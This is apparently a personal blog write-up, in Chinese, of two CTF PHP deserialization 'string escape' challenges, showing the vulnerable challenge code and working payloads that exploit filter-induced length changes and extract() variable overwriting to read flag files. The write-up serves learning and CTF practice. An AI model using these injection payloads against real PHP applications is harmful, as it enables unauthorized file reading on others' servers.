CTF反序列化逃逸

刷了一下CTF反序列化的题,去年没有好好了解。又补了一次PHP,害太菜了。每天看看别人的博客真的可以鼓舞人。简单记录一下两道字符串逃逸问题

推荐一个反序列化总结的很好的笔记https://www.cnblogs.com/wjrblogs/p/12800358.html

//变长 直接构造多个关键词,这样就能逃出几个字符
<?php
error_reporting(255);
class A
{
    public  $filename = __FILE__;
    public  function __destruct()
    {
        highlight_file($this->filename);
    }
}
function waf($s)
{
    return preg_replace('/flag/i', 'index', $s);
}
if (isset($_REQUEST['x']) && is_string($_REQUEST['x'])) {
    $a = [
        0 => $_REQUEST['x'],
        1 => '1'
    ];
    @unserialize(waf(serialize($a)));
} else {
    new A();
}

flag->index 长度增加1 逃逸的长度为49 所以需要49的flag
";i:0;O:1:"A":1:{s:8:"filename";s:8:"flag.php";}}
(waf(serialize($a)) ------ flag index 替换了所以[flag.php]要用16进制 然后 s:8 其中S必须大写才会存在16进制
";i:0;O:1:"A":1:{s:8:"filename";s:8:"\66\6c\61\67\2E\70\68\70";}} // i:0 键名无所谓已近到下一层了

//变短 通过键逃逸和值逃逸--------分析思路 先分析再做题 不然思路真的很乱
<?php
$function = @$_GET['f'];
function filter($img)
{
    $filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
    $filter = '/' . implode('|', $filter_arr) . '/i';
    return preg_replace($filter, '', $img);
}
if (@$_SESSION) {
    unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if (!$function) {
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if (@!$_GET['img_path']) {
    $_SESSION['img'] = base64_encode('guest_img.png');
} else {
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if ($function == 'highlight_file') {
    highlight_file('index.php');
} else if ($function == 'phpinfo') {
    eval('phpinfo();'); //maybe you can find something in here!
} else if ($function == 'show_image') {
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

$serialize_info = filter(serialize($_SESSION)); 序列化 SESSION数组并且过滤 然后看到$function == 'phpinfo'
我们去phpinfo查看很容易看到d0g3_f1ag.php和PHP处理器
但是这个题目里没有读取session文件,这个题只是把$SESSION数组进行了serialize().这种地方不要因为看到php处理器而犯迷糊。

所以我们大概明确了就是
$userinfo['img']=d0g3_f1ag.php 或者 base64_decode($userinfo['img'])=ZDBnM19mMWFnLnBocA==即可

其中$_SESSION['user']之后有一个extract($_POST); 根据extract()我们可以进行变量覆盖
extract() 函数从数组中将变量导入到当前的符号表,该函数使用数组键名作为变量名,使用数组键值作为变量值

<?php
$_SESSION["user"] = 'guest';
$_SESSION["funtion"] = 'xxx';
extract($_GET);
var_dump($_SESSION);

请求?_SESSION[test]=xxx
array (size=1)
  'test' => string 'xxx' (length=3)

值逃逸:需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对~~

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}  //后面加的是为了键和值保持一致 随便 加前面用_SESSION[xx]=xxx同理

这样我们需要把下一个的键和值当成第一个的值, x代表数字 下一个的值和键需要多少位 然后flag构造多少 因为flag->NULL了。

_SESSION[user]=flagflagflagflagflagflag   ==>  s:4:"user";s:x:""

其中最后一个"会给下一个键一起成为上一个的值

_SESSION[function]=a   ==>  s:7:function;s:x:"" 
 s:4:"user";s:24:"[";s:8:"function";s:59:"a]"  //括号是值
//键逃逸`,这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对~~
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
s:7:"flagphp [";s:67:] ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

过滤的键然后他的值的属性 成为键的值 先计算键的值然后再去构造键。然后查看源代码

<?php
$flag = 'flag in /d0g3_fllllllag';
?>
将/d0g3_fllllllag base64编码就好。

参考:https://blog.csdn.net/a3320315/article/details/104118688/

posted @ 2021-05-03 23:11  R0ser1  阅读(397)  评论(0)    收藏  举报